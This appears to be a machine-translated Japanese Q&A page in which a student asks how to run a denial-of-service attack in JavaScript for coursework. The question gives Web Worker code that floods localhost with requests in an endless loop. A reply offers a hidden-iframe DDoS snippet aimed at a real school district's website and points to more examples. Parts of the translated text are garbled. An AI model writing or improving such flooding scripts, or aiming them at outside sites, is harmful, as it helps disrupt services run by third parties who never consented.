2017-04-01 23 views
1

大学ではサービス拒否攻撃を実行するための「宿題」があります。私はちょっと違ったやり方をすることにしました。 JavaScriptを使って実行しようとしました。WebWorkersを使用したJavaScript DoS攻撃

質問は以下のとおりです。それも可能これまでに

  • ですか?
  • ループバックでHttpRequestを実行すると、httpポートがあふれているために発生したWebサイトのunaccessibilityによる結果が表示されますか?
  • 私よりも良いコードがありますか?

のindex.html:

<script> 
    for(var i = 0; i< 50; i++) { 
     worker = new Worker("worker.js"); 
     worker.postMessage('Hello World'); 
    } 
</script> 

worker.js:

self.addEventListener('message', function(e) { 
    while(1) { 
      var xmlHttp = new XMLHttpRequest(); 
      xmlHttp.onreadystatechange = function() { 
      if (xmlHttp.readyState == 4 && xmlHttp.status == 200) 
        callback(xmlHttp.responseText); 
      } 
      xmlHttp.open("GET", "http://127.0.0.1", true); 
      xmlHttp.send(null); 
    } 
}, false); 

は、任意の入力いただき、ありがとうございます!

+1

を見つけるだろう'localhost以外のものを選んでください)' while(1) ' – mehulmpt

+0

コードを実行したときにどうなりましたか?ブラウザは 'while(1)'で涼しかったですか? – nnnnnn

+0

@nnnnnn Webワーカーがシーンの後ろのすべてをやったので、ブラウザは正常だったようです。デベロッパーツールでは、要求が送信されていることをはっきりと確認できましたが、何の問題もなく、私が望むどんなウェブサイトにも行くことができました。 – TomasB

答えて

-1

だから私はこのコードを改善することができたら、私はwhile(1)の代わりにsetIntervalを使います。第二に、私はここにはるかに簡単なバージョンが見つかりました:

function _DDoS(url){ 
    document.body.innerHTML+='<iframe src="'+url+'" style="display:none;"> </iframe>'; 
} 
for(;;){ 
setTimeout(_DDoS("http://www.mvcsc.k12.in.us"),10); 
} 

だけjavascriptのDDoS攻撃を検索し、あなたが、私はよく分からないが、それがあれば(リモートサーバよりも、自分のコンピュータがクラッシュする可能性が高くなり、多くの例

関連する問題